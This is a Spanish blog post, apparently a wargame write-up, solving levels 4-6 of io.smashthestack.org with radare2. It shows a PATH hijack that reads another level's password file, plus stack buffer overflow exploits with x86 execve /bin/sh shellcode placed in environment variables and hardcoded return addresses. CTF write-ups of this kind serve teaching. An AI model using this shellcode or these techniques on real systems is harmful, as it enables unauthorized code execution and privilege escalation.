lunes, 27 de octubre de 2014

Resolviendo los retos de io.smashthestack.org con radare2 [4-6]

¡Saludos!

    En el anterior post resolvimos con éxito los 3 primeros retos, y en este haremos otros 3 más.

Reto 4


    Mirando el código fuente nos damos cuenta de que es este reto es muy sencillo:

  

   Vemos que hace un popen a whoami. Para poder usar radare2 en la máquina remota habreis tenido que hacer:

export PATH=/usr/local/radare/bin:$PATH
  Para que al escribir "r2" ejecuta la versión más reciente y no la que viene instalada por defecto. Pues aquí nos encontramos lo mismo, no queremos que ejecute el programa "whoami" original, queremos que ejecute uno nuestro que nos de la pass. Símplemente creamos un archivo llamado "whoami" en /tmp/Lo-Que-Sea y  que éste haga un "cat /home/level5/.pass". Despues hacemos un export PATH=.... hacia la ruta donde esté nuestro archivo y ejecutamos level04.


Reto 5

    Si miramos el código fuente vemos que se trata de un buffer overflow de los clásicos, de los que aparecen en todos los tutoriales.




   Para hacerlo rápido usaremos los script "seekHdestroy.pl" que hice para esta entrada. tengo que mirar cómo funciona el scripting en r2 para portarlo a vala (o tirar de los bindings) y poder usarlo desde el propio radare.


      Lo que haremos será ejecutar el script para que nos genere el patrón

perl seekHdestroy.pl --seek

  Copiamos el patrón y abrimos level05 con r2

r2 -d ./level05 AquiElPatrón
  Hacemos  "dc" para que continúe la ejecución y se parará cuando dé el SIGSEGV. En ese momento hacemos "dr" para ver los registros:

A la derecha tenemos r2 y a la izquierda seekHdestroy.pl

      Copiamos lo que hay en EIP y se lo pasamos al script con la opción "--destroy=" y éste nos dirá cuanta basura deberemos de meter para poder controlar EIP -vemos que es 140-. A sabiendas de esto lo normal sería buscar en memoria donde empieza el buffer y proceder a crear un string del tipo [RELLENO][NOPS][SHELLCODE][DIRECCION DONDE HAY NOPs] .  En vez de hacer eso, ca0s me recomendó que hiciera otra cosa: meter los  NOPs + Shellcode dentro de una variable de entorno y después símplemente meterle al programa como parámetro un string con los caracteres necesarios + dirección donde están los NOPs. O sea:

export DERP=$(perl -e 'print "\x90" x 200 ."\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"')

       

       Para ver en qué dirección de memoria queda el shellcode podemos obtar por crear un programa que nos lo indique,o mirar con el propio r2 ya que lo tenemos a mano. Ponemos un breakpoint donde sea, ejecutamos "dc" y "px 1000 @ esp" (equivale a x/ de gdb). Buscamos donde están los nops y copiamos esa dirección:





 En 0xbffffe80 ya estaríamos cayendo en medio de los NOPs. Armamos el exploit y lo ejecutamos:

./level05 $(perl -e 'print "A" x 140 . "\x80\xfe\xff\xbf";')

Reto 6

   El código fuente es más largo y no me cabe en una foto, asi que lo subo a paste bin (http://pastebin.com/uwJvbh5r) . Estamos ante otro BoF. Esta vez el shellcode lo metí en la propia variable de entorno que usa, LANG:

export LANG=$(perl -e 'print "fr" . "\x90" x 100 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";')

    Lo primero es ver por donde peta (vemos que hay una concatenación entre los dos argumentos y que es donde tendremos el BoF, pero hacemos la prueba visual), abrimos con r2 -d ./level06 [40 "A"] [32 "B"], y lo mismo que antes "dc" y cuando suelte el SIGSEGV "dr" para mirar los registros


  Vemos como efectivamente en EIP hay "B"s (0x42424242). Bueno, ¿cuantos caracteres son necesarios antes de tomar el control de EIP?. Hacemos lo mismo que en nivel 5, usamos seekHdestroy:

  Vemos que necesitamos 26 caracteres antes de poner la dirección donde están los NOPs. Al igual que en el ejemplo anterior, ponemos un breakpoint y buscamos:



Con lo que finalmente conseguiremos ejecutar /bin/sh y obtener el flag:

./level06 $(perl -e 'print "A" x 40 . " " . "B" x 26 . "\xec\xfe\xff\xbf";')



Byt3z!

5 0verl0ad Labs: Resolviendo los retos de io.smashthestack.org con radare2 [4-6] ¡Saludos!     En el anterior post resolvimos con éxito los 3 primeros retos, y en este haremos otros 3 más. Reto 4     Mirando el cód...
< >